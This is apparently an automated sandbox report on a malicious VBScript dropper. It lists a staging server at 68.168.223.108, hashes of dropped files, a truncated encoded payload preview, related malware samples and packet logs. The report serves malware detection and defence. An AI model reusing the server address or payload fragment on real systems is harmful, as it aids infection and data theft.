http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1357902050.000001D1A4921000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2541328902.0000000004381000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.168.223.108/JD	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/G	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
68.168.223.108	unknown	United States		19318	IS-AS-1US	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1665610
Start date and time:	2025-04-15 17:34:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Agterdelen.vbs
Detection:	MAL
Classification:	mal96.troj.expl.evad.winVBS@6/9@0/1
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 23.76.34.6, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:35:10	API Interceptor	1x Sleep call for process: wscript.exe modified
11:35:12	API Interceptor	76x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
68.168.223.108	https://workdrive.zohoexternal.com/external/b63c3fc869a1c3feb821637810b1254e8fc2cef6b6cf3da88344ebd42bba45f5/download	Get hash	malicious	GuLoader	Browse	68.168.223.108/otot/Censurerings.mdp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	original.eml	Get hash	malicious	Gabagool	Browse	199.232.214.172
	PURCHASE OKK.vbs	Get hash	malicious	FormBook	Browse	199.232.210.172
	nK8noQeiXl.exe	Get hash	malicious	HTMLPhisher, CryptOne, LummaC Stealer, Socks5Systemz, Tofsee	Browse	199.232.210.172
	SecuriteInfo.com.Win32.MalwareX-gen.14672.5040.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
	https://degrgd.dailyenglish.it.com/ODIWCBlb	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	199.232.214.172
	Fatura.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	728-3512-19.hta	Get hash	malicious	Unknown	Browse	199.232.210.172
	Scanned Page(s).pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	888.exe	Get hash	malicious	GO Backdoor	Browse	199.232.214.172
	exe.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IS-AS-1US	set.msi	Get hash	malicious	RMSRemoteAdmin, Remote Utilities	Browse	64.20.61.146
	https://manhuaus.org/	Get hash	malicious	Unknown	Browse	216.219.92.22
	http://httpswwwstatregerhegergrtodayr.rolinfo.de/4pjFho170689Jahf960ulhnbgpcjo1454QYTQGMFVRKUYIQV11812YOJV712361h21	Get hash	malicious	Unknown	Browse	216.219.92.22
	Alphabet Soup Part B.docx	Get hash	malicious	Unknown	Browse	216.219.92.22
	MY TAX FORMS & ORGANIZER 2024.zip	Get hash	malicious	AsyncRAT	Browse	67.211.208.99
	JavaUpdater943034.dll	Get hash	malicious	Remcos	Browse	173.225.103.138
	https://i.imgur.com/ZC2vWmL.png	Get hash	malicious	Unknown	Browse	216.219.92.22
	loader.vbs	Get hash	malicious	Fallen Miner, Xmrig	Browse	216.219.85.122
	s-h.4-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.246.21.236
	x-8.6-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.246.21.236

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 73305 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	73305
Entropy (8bit):	7.996028107841645
Encrypted:	true
SSDEEP:	1536:krha8mqJ7v3CeFMz/akys7nSTK7QMuK+C/Oh5:kAOFq+Mba9Ok7C/O/
MD5:	83142242E97B8953C386F988AA694E4A
SHA1:	833ED12FC15B356136DCDD27C61A50F59C5C7D50
SHA-256:	D72761E1A334A754CE8250E3AF7EA4BF25301040929FD88CF9E50B4A9197D755
SHA-512:	BB6DA177BD16D163F377D9B4C63F6D535804137887684C113CC2F643CEAB4F34338C06B5A29213C23D375E95D22EF417EAC928822DFB3688CE9E2DE9D5242D10
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF....Y.......,...................I.................;Za. .authroot.stl.98.?.6..CK..<Tk......4..c... .Ec...U.d.d.E&I.DH..M.KB."..rK.RQ..}f..f...}..1....9...........$.8q..fa...7.o.1.0...bfsM4.........u..l..0..4.a.t....0.....6#....n. :... ....%.,CQ5uU..(.3.<7#.0..JN.$...=j\|w...#.oU..Eq[..P..^..~.V...;..m...I\|...l..@-W..=.QQ.._./.M.nZ..(.........`.$Z.9wW:W.]..8E.......I.D{..n...K:.m..^.(.S.......c..s.y..<...2.%o.o.....H.B.R.....11.\|!.(...........h.SZ........<...^....Z>.Pp?... .pT@p.#.&..........#VEV=.....p........y..."T=l.n..egf.w..X.Y..-G...........KQ.]...pM..[m..-6.wd:........T...:.P5Zs....c.oT`..F1#......EuD.......7....V ..-....!.N..%S...k...S. ...@.J..../..b!B.(=\../.l......`.\...q9..>4!b..8EH.....zdy.....#...X>%0w...i.,>c.z.g"p.S..2W.+mMs.....5Def.....#._D.4....>}...i...\.&`D.......z;..ZY.3.+t.`....z_.q'w.z.)..j3.+.co.s..:.........qK...{...E....uPO...#vs.XxH.B!..(t. 8k+.....G\..?..GF8....'..w.>.ms..\ve.nFN..W)....xi..u..5.f.l....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.2685250519976075
Encrypted:	false
SSDEEP:	6:kKOmcQRnSN+SkQlPlEGYRMY9z+4KlDA3RUeqpGVuys1:GmfZkPlE99SNxAhUeq8S
MD5:	616D22DC728A7FCFCEDACC9243E0DB17
SHA1:	A61DDB2688F7D6A1FEB7F0515C13F5D408F1E0A2
SHA-256:	B2DDB9911AEFA7D21DFAFCD15924FDFD19D720A6E319B32BBC57F217F9DE9E0C
SHA-512:	1F454B0E7183A46024B2CCCCC99BA0261AC4479E8837F14B43936BA7DA7605F67F769F479F8165E934E8D2F71F0B705FC6E613118838DDB1866BD13248B108DB
Malicious:	false
Reputation:	low
Preview:	p...... ........o.......(....................................................... ..................(....c*.....Y...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".6.4.2.7.f.6.c.2.b.7.8.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_35qjnlyz.tjh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gx1ophtj.ezb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jo2gq00w.vkb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nligp3sw.3lz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Discoach.Imm

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	575624
Entropy (8bit):	5.959447843174949
Encrypted:	false
SSDEEP:	12288:BL9IBGfCvP4na3pDX3rpSu16wIaoW8T3Ryr7HY3+0ShdO/lM:BWB+wAna3xXNSS6wIu8wnO+0SEM
MD5:	F5A7E552FB3ED33A282DAE13A76988E8
SHA1:	7FA1CE31F1B7E7F9A79CD29DA7E13655C2093138
SHA-256:	5DCA81C00DDD42750CDCFDAB287D49E8FAEE6E8C83EF15AAD58CF3EF4823710B
SHA-512:	F0AE587AC62D76CB52324976FEAE4F88A0FAB6CB5D679B284AC75923120A9129C7F50CDFE21FC43ABF17E2D863AE15F685FEE04E56D38F7691F4475E19CA37AF
Malicious:	false
Preview:	u79lGABmIfYDXCQEg88AueUWJjyBwc2nPhSB8bK+ZFBmweAAuhrAFVXA6QAg2zHKg+gAiRQLgMkA0eLB4QCDwQSAwgCB+QFdzwJ84GaB/1JHi0QkBIPyAInDgfn6aP4agcPj6McBBAC6vmAqD4Hyo7ydkoHyHdy3nSwAZoX2iwwQgOsAiQwTZoH+XkxCINuB+qQZBgB15IDDAIlcJAwhwIHtAAMAAIDLAItUJAiAyQCLfCQEkInrhMmBw5wAAACDwwBTZsHnAGpAZoPJAInrZoPzAMeDAAEAAADQ6gKDwgCBwwABAACDzgBTZoPuAInrIfaJuwQBAACQgcMEAQAAwe8AU5Bq/8DhAIPCBZsx9vgxyWYhyYsagflJ2+9VQcHjADkcCnX3ZoPPAEaAygCAfAr7uHXoZoXbi0QK/GaB/ixxKfBmgftLfv/Sgfp0mz5DuqQZBgD8McCF/4t8JAxmhdKBNAc64zOAZj13OYPABMHgADnQdevA6wCJ+5v/15tkhQpYbAgi+CvrREfV6P5qPMWB7lAMbs/SuT6GOmfwRjpr2Il310ipWzafqQs63gA6m7dKqggbTHhFpAp/LbsHq2Qt4TUi/3qLg2hMeEWkCn8tuwerZC3hNSL/eouDaMADJUY5vzrPaDrjM4C/O2gJ32LfiGYTMQH+62pwOLa6ZYM/g826Ot4B0yeDzboILI7oojx7ZjreZlnFiFZYyFd7grzFElm3N9diIEWRqd7qfr469MQ341qMze7L5s0igH3kDcsE6x+yxDfjpHMyEVWPxw4PN9Hppao/nh9ydpY6zb869AXO4jOAAqqNU9HokS46dKAqyNDnl5I6xgGPFzKAOth6Puk/xHb429imYkbkoCfTlJ6Xua4ozl+jq9kWV2neM7TOqNtoRVJwGNBcP8hcnTJyf7cXMoA6lvzB/WaygTrjwY4cX1UF4TrNAZdiMoA6mT6mhjrHayVrgxjtCse83FMsl0X6IbkuKGpi/ksv

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.013311146586393
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Agterdelen.vbs
File size:	110'670 bytes
MD5:	00aac0b28f4c3970a69309489db29b89
SHA1:	3d6214dcc63c9d3ffbfbfd402c62b99697787c69
SHA256:	200aa88835a9db6e9af5dad6550e26806ea869ce94b9c8098c68521bf3bc6af4
SHA512:	36c75ad67325cde39baa2d3e356c4c1e7f0b2fbcc327086f38223dc186ef8fedb96e60ea3482fd29058a4a509815b7f1d6beac6323eaa70fa7eb4f5f862fcad0
SSDEEP:	1536:WPE7cZbcElqomiTKdhkl6JKhJapdgWcxRIt8Z8QbKgjhiHUgMs/LmEtKT:Wbbl1qJKCpdaRIuDbKGiHVhjmEET
TLSH:	A3B31E9088D9013799C1679B6DB22A00C6F541B5F13140BEABACAE8BD433F7857F9B74
File Content Preview:	..Rem Aarsagen! rgforgiftning: mrkebrun. civilkonomen..Rem Developmentarian jenspejle..Rem Burgjserens. rockcist kasteskyts? afsgningens hypogaeic;..Rem Vrdistemplingen lsrivelsers127: newing dichapetalaceae?..Rem Meropodite svagfres emnearbejdet......Onl

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 17:35:14.664347887 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:14.792722940 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.792959929 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:14.793342113 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:14.936954975 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.936985970 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937000990 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937016010 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937031984 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937047005 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937064886 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937063932 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:14.937079906 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937093973 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937109947 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:14.937114954 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:14.937321901 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:14.937321901 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.067766905 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067792892 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067807913 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067821980 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067837000 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067850113 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067864895 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067878008 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067892075 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067903042 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.067903042 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.067907095 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067922115 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067929983 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.067936897 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067950964 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067965031 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067980051 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.067991018 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.067994118 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.068007946 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.068022013 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.068037033 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.068048954 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.068052053 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.068078995 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.068114996 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196511030 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196532965 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196549892 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196631908 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196646929 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196661949 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196675062 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196676016 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196676016 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196690083 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196700096 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196703911 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196718931 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196732998 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196746111 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196748018 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196758986 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196762085 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196775913 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196789980 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196804047 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196806908 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196819067 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196820974 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196836948 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196851015 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196865082 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196876049 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196876049 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196877956 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196892023 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196906090 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196907997 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196921110 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196935892 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196949959 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196962118 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196962118 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196964979 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196981907 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.196995020 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.196995974 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197010040 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197024107 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197037935 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197051048 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197065115 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197066069 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.197066069 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.197078943 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197093010 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197096109 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.197107077 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197108984 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.197119951 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197133064 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197139978 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.197146893 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.197200060 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.197200060 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325103998 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325133085 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325148106 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325165033 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325218916 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325233936 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325248957 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325248957 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325248957 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325263977 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325278997 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325278997 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325293064 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325306892 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325321913 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325335979 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325344086 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325344086 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325351000 CEST	80	49718	68.168.223.108	192.168.2.4
